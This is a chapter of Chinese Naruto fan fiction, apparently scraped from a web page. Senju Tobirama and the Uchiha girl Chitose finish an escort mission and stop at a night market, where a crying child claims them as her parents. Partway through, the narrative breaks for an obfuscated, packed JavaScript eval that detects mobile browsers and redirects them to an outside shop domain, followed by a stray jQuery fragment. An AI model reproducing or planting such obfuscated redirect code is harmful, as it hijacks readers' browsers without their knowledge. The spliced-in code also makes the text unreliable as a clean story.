铁之国与火之国边境
眼下，木叶正值初代火影遴选的关键时期。
偏偏就在这个时候，毗邻火之国边境的铁之国，却派遣大名与使者前来访问木叶。
其用意并不难猜。如今木叶局势微妙，各方势力暗流涌动，铁之国自然不会放过这个打探风向的机会，想借着此次出访，摸清火之国对于下一任火影人选的态度。
只是经过数日的考察与交流，他们最终得到的消息也十分有限。
除了火影候选依旧是在千手一族与宇智波一族之间之外，再没有任何值得深究的情报。
既然目的已经达到，铁之国大名也没有继续停留。在与木叶以及火之国大名高桥惠、小泉顺一道别后，便于第二日清晨启程，踏上了返回铁之国的路。
负责此次护送任务的，则是由千手扉间率领的特别护卫小队。
初春的山林仍带着几分寒意。
道路两旁，高大的树木遮蔽了大半日光，斑驳的光影透过枝叶洒落在林间小道上。马车缓缓前行，车轮碾过碎石，发出轻微而有规律的声响，几名护卫忍者则分散在四周，警惕地观察着周围的动静。
千岁跟在队伍后方，目光却时不时落在前方那道银发身影上。
千手扉间依旧走在最前方，身姿笔挺，也没有流露出半分松懈。
千岁抿了抿嘴，不着痕迹地放慢脚步，与他之间拉开了一段距离。如今自己和千手扉间已经站在不同的阵营。在外人眼里，她是宇智波一族的人，而千手扉间则是千手柱间的弟弟。在这个敏感时期，两人若表现得太过熟络，只会徒增猜测。与其如此，不如从一开始便避嫌到底。
千手扉间自然察觉到了身后的变化。
从离开木叶开始，少女便刻意落后自己数步，偶尔自己放慢脚步，她便跟着慢下来；自己走快一点，她又默默往后退一些，像是故意维持着一道看不见的界线。
他眼底闪过一丝无奈。
……她今天又是在闹什么别扭？
沉默片刻后，千手扉间没有回头，只是淡淡开口。
“有必要这么防着我吗？”
低沉的声音顺着山风传来。千岁脚步微微一顿，这才意识到自己的动作似乎太明显了。她连忙快步追了上去，与千手扉间重新保持正常距离，脸上露出一副一本正经的神色。
“扉间大人，你放心。”
她语气诚恳得不能再诚恳，
“我们族长大人说过了，他对火影之位没有任何想法，所以你也不用这么防范我。”
说完这句话，她还暗自在心里点了点头。
嗯，应该表现得很自然。
临行之前，宇智波治里曾专门提醒过她。最近这段时间，凡是涉及火影之位的话题，都要表现得毫不在意，更不能让千手扉间觉得宇智波一族对火影之位的强烈意向。只要自己演得够自然，对方应该就不会怀疑了。
然而，千手扉间只是沉默地看了她一眼，额角缓缓滑下几道黑线。
自从那场关于火影继任者的会议结束以后，千岁便一直是一副把他当成敌对派系的模样。可偏偏，她越是刻意解释，越像是在欲盖弥彰，她所有的小心思，几乎都写在脸上。
实在太容易看懂了。
千手扉间轻轻叹了一口气。
“没必要这样。”
他平静地说道，“即便你不防着我，火影之位最后也一定会是我大哥的。”
他的语气很平静，没有丝毫炫耀，更像是在陈述一件已经注定的事实。
可落到千岁耳中，却完全变了味。
？什么叫一定......
那副理所当然的样子，简直嚣张得让人牙痒痒。
宇智波治里临走前千叮咛万嘱咐的话，瞬间被她抛到了脑后。
“谁说的？”
她双手抱胸，瞥了一眼身旁的千手扉间。
“我们族长大人可不像某些人，只会泡在研究室里，研究那些根本不能吃的杂交辣椒，还一副自己掌握全局的样子。”
千手扉间脚步一顿，额角的青筋肉眼可见地跳了一下。
什么叫不能吃的杂交辣椒？
那是他为了研制幻术忍具，花费大量时间培育出来的特殊品种。居然被她说得像是菜园里种失败的辣椒一样。
他缓缓抬起手，按住隐隐作痛的太阳穴，深吸了一口气。
不能和她计较。
跟她计较，只会让自己更头疼。
而另一边，千岁说完以后，像是终于出了口气，转身便朝着队伍最前方走去，只留给千手扉间一个背影。
山风吹起她的金发，也吹得绀色的宇智波族服轻轻扬起。
千手扉间望着她渐渐走远，沉默了片刻。
......他刚才，又说错什么了吗？
明明从头到尾，被挖苦的人都是自己。
想到这里，他无奈地轻叹一声，只好低下头，重新翻开手中的护送任务细则，将注意力放回任务本身，再一次确认起沿途的护卫部署。
铁之国临近火之国，因此，这趟护送任务并没有耗费太多时间。
一路上风平浪静，没有遇到任何意外。等到夕阳西沉，天边最后一抹余晖染红群山时，千手扉间率领的小队便抵达了火之国与铁之国的交界地带，边境处早已有铁之国的武士护卫等候，双方简单确认了文书与身份后，护送任务便顺利完成了交接。
目送铁之国大名一行人在武士们的护卫下渐渐远去，直至身影消失在山道尽头，千手扉间这才缓缓收回目光。
他抬头望了一眼天色，夜幕已经悄然降临，深蓝色的天空笼罩着群山，远处林间偶尔传来几声虫鸣，四周也渐渐安静下来，虽然从这里返回木叶并不算太远，但经过一天的奔波，队伍里的忍者多少都有些疲惫。
千手扉间略作思索，随即沉声下令。
“今晚原地修整，明日清晨返回木叶。”
“是。”
随行忍者立刻低声应下。
按照原本的计划，他们打算在附近寻找一处隐蔽的树林过夜。忍者执行任务时向来不会轻易暴露行踪，比起灯火通明的城镇，茂密的树林显然更适合作为临时休息点。
然而，就在返程途中，前方却渐渐传来了嘈杂的人声。
千岁微微抬起头，穿过一片树林后，眼前豁然开朗。原本被夜色笼罩的大地，在不远处竟亮起了一片暖黄色的灯火。街道两旁，一盏盏纸灯笼高高挂起，在晚风中轻轻摇曳。各式各样的店铺依次排开，摊贩们热情地招呼着来往行人，空气中弥漫着食物的香气，夹杂着孩童嬉笑、商贩叫卖以及酒馆里传出的欢笑声，整个商业街热闹非凡。
队伍中的几名年轻忍者也忍不住朝那边多看了几眼。毕竟连续执行了一天任务，忽然闻到食物的香味，多少都会有些心动。
而千岁的注意力，早已经完全被街边琳琅满目的小摊吸引了过去。
烤团子、鲷鱼烧、苹果糖、烤鱿鱼……
还有刚刚出锅的章鱼烧。
铁板上的章鱼烧被老板熟练地翻滚着，一颗颗金黄圆润，散发着诱人的香气。随后淋上一层浓郁的乃美兹酱，再撒上满满的木鱼花。热气升腾间，木鱼花被蒸汽吹得轻轻舞动，仿佛还活着一般。
旁边的文字烧也不断发出滋滋的声响，浓郁的香味随着晚风飘散开来。
一阵细微却格外清晰的咕噜声音响起，是自己的肚子发出来的。
……
偏偏是在这种时候。
千岁默默抿了抿嘴，又装作若无其事地抬起头，像是什么都没有发生一样，可鼻尖萦绕着食物的香味，却不断刺激着她。
终于，她还是忍不住侧过头，看向身旁的千手扉间。
“扉间大人。”
少女眨了眨眼，语气里难得多了几分讨好。
“你饿吗？”
千手扉间脚步未停，只是淡淡瞥了她一眼。从刚才开始，他就注意到千岁的目光几乎没有离开过那些小吃摊，准确地说，是没有离开过章鱼烧。
如今听到她主动开口，他一点也不觉得意外。
他轻轻叹了口气。
“即便是在任务返程途中，也不可掉以轻心。”
说着，他朝商业街扫了一眼。
“快去快回。”
得到许可后，千岁的眼睛瞬间亮了起来，而迈出去两步，她又忽然停下脚步，回过头望向千手扉间。
“扉间大人，你吃吗？”
千手扉间神色依旧平静。
“我从不在外面就食。”
回答得没有半点犹豫，千岁忍不住抽了抽嘴角。
……呵呵。
就他最讲究。
平时行事古板也就算了，连吃东西都这么一本正经。
她撇了撇嘴，小声嘀咕了一句“活该没口福”，随后便头也不回地朝章鱼烧摊跑了过去。
看着少女脚步轻快的背影，千手扉间轻轻摇了摇头，随后，他便站在街边，双手抱臂，闭上眼睛安静等待。
然而，耳边不断传来的，却全是铁板上传出的滋滋声，浓郁的香气顺着晚风缓缓飘来。
千手扉间睁开眼，下意识朝章鱼烧摊望去。
老板动作娴熟地翻动着铁板上的章鱼烧，外皮烤得金黄酥脆，出锅后又淋上一层浓厚的酱汁，再撒上满满的木鱼花。
热气升腾之间，看起来竟意外地……
还不错。
千手扉间目光停留了一瞬。
似乎也没有想象中那么不堪。
不过，这个念头仅仅维持了一瞬，便被他压了下去，堂堂千手扉间，怎么可能站在街边吃这种小摊贩卖的东西？更何况还是在那个小鬼面前。若是被她看见，恐怕以后又多了一件可以拿来调侃自己的事情。
想到这里，千手扉间重新收回目光，神色恢复了一贯的平静。
就在这时，一道声音忽然从身旁响起。
“爸爸——”
与此同时，一双软乎乎的小手轻轻抓住了他的衣摆。
千手扉间微微一怔，低下头。只见一个扎着双丸子头的红发小女孩正仰着脑袋望着自己。那双水汪汪的大眼睛里满是委屈，小脸红扑扑的，一副马上就要哭出来的模样。
她伸出另一只手，指向不远处的章鱼烧摊。
“爸爸，我要吃章鱼烧。”
千手扉间沉默了一瞬。
爸爸？
他眉头微微蹙起。
是附近哪户人家走失的孩子吗？
还是……认错人了？
想到这里，他蹲下身，耐着性子轻轻拉开小女孩抓着自己衣摆的小手，语气尽量放缓。
“小姑娘。”
“你认错人了。”
“我并不是你的父亲。”
话音刚落，小女孩却像是根本没有听见似的她眨了眨眼，眼眶迅速泛红，下一秒，小嘴一瘪。
“哇——”
哭声毫无预兆地在热闹的商业街上响了起来。还没等千手扉间反应过来，小女孩已经一把扑了上去，紧紧抱住他的大腿，像只树袋熊似的死死不肯撒手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673373|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“爸爸——！”
“你不要抛弃我啊——呜呜呜！”
小女孩哭得上气不接下气，一边抹着眼泪，一边断断续续地抽噎着。
“你怎么可以……怎么可以因为那一点点钱，就把自己的女儿卖给人贩子啊——”
哭喊声清脆又响亮，在整条街上格外醒目，原本还沉浸在夜市热闹气氛中的行人，纷纷停下脚步，不约而同地朝这边望了过来。不过片刻功夫，两人周围便围起了一圈看热闹的人。
“发生什么事了？”
“刚才我好像听见，那孩子说她爸爸把她卖给人贩子？”
“真的假的？”
“啧，这年头竟然还有这种父亲。”
议论声越来越多，无数道目光齐刷刷落在千手扉间身上。有震惊，有怀疑，也有毫不掩饰的谴责。
千手扉间整个人都僵住了。
他低头看着死死抱住自己腿的小女孩，又抬头看了看周围越来越多的围观群众，一向冷静沉稳的神情，第一次出现了一丝裂痕。
他张了张嘴。
“不是……”
可还没等他说完，小女孩哭得更伤心了。
“爸爸，我以后一定乖乖听话......”
“我会洗衣服，会扫地，会做家务，我以后什么都会做！”
“就算你每天在家里好吃懒做，我也会帮你种野菜养你的！”
“求求你不要不要我——呜呜呜——”
千手扉间：“……”
空气仿佛凝固了一瞬。
周围先是短暂地安静了一下，紧接着，人群里的议论声比刚才更加激烈了。
“这么小的孩子，居然还要养爹？”
“简直太过分了！”
“就是，看着人模人样，没想到竟然是这种人。”
一句接着一句的指责，如同潮水般涌了过来。千手扉间额角青筋微微跳动。他活了这么多年，上过战场，杀过敌人，主持过无数重要会议，也处理过数不清的棘手事务。
可偏偏从来没有处理过这种情况。
他试图将自己的腿从小女孩怀里抽出来，奈何小女孩抱得死紧，像是生怕他下一秒就会跑掉一样。
扉间深吸了一口气，努力维持着最后一丝冷静。
“我并不认识这个孩子。”
“她认错人了。”
“看看，现在连孩子都不认了。”
千手扉间他忽然觉得，面对几十名敌国上忍围攻，都未必有现在这么棘手。
就在这时，不远处传来一阵轻快的脚步声。
“扉间大人。”
千岁手里端着一盒刚出炉的章鱼烧朝这边走了过来。可还没靠近，她便发现这边围满了人。
“怎么这么多人……”
她踮起脚尖，好不容易挤进人群。下一秒，整个人便愣住了。只见千手扉间站在人群中央，脸色比平时还要冷上几分。而他的腿上正挂着一个哭得梨花带雨的红发小女孩。
“爸爸——”
“我不要离开你——”
千岁低头看看小女孩，又抬头看看千手扉间，脑袋空白了整整两秒。
不是……
什么情况？
自己就去买了个章鱼烧。回来以后，扉间大人居然多了个女儿？
她望着千手扉间那张一贯冷峻严肃的脸，再看看那个哭得鼻尖通红的小女孩，一股莫名其妙的违和感顿时涌了上来。
差点没忍住笑出声。
千手扉间一看见千岁回来，仿佛终于看见了救命稻草，毕竟她是现场唯一以一个可以帮他解释清除的人了。
“千岁。”
“......快过来帮我解释一下。”
他的声音依旧平静，只是细听之下，却隐隐透着几分平日里极少出现的急切。然而千岁望着眼前这幅场景，又看了看千手扉间难得一见的窘迫模样，一个鬼点子瞬间冒了出来。
“扉间大人……”
她捂住嘴，一副难以置信的样子。
“您……您居然有一个女儿？”
“为什么从来没有告诉过大家？”
此话一出，周围顿时响起一片倒吸凉气的声音。
“果然是偷偷藏着。”
“太不像话了。”
千手扉间额头青筋又狠狠跳了一下，他缓缓转过头，看向千岁，那双红色的眼眸里，难得浮现出一丝危险的意味。而千岁则低着头，肩膀微微发抖，不是害怕，而是憋笑憋得太辛苦。
终于也轮到他吃瘪一次了。
然而，她脸上的笑意还没来得及完全扬起。
下一秒，原本抱着千手扉间的小女孩忽然抬起头，看见了她手里的章鱼烧，那双哭得通红的大眼睛顿时一亮。
“妈妈！”
伴随着一声响亮的呼喊，小女孩松开千手扉间，转身便朝千岁扑了过去。
“妈妈！”
“爸爸一直欺负我！”
“还不让我去找你，他还不给我买章鱼烧！呜呜呜。”
千岁脸上的笑容，以肉眼可见的速度缓缓消失。她看着死死抱住自己腰的小女孩，再看着周围越来越精彩的目光。最后缓缓转头，看向千手扉间。两人四目相对，空气陷入了诡异的安静。
“是一对不靠谱的夫妻啊。”
“现在这种不负责任的父母，真是越来越多了。”
这一次，轮到千岁彻底慌了。
“等、等等！”
“不是！”
“你们真的误会了啊！！！！！”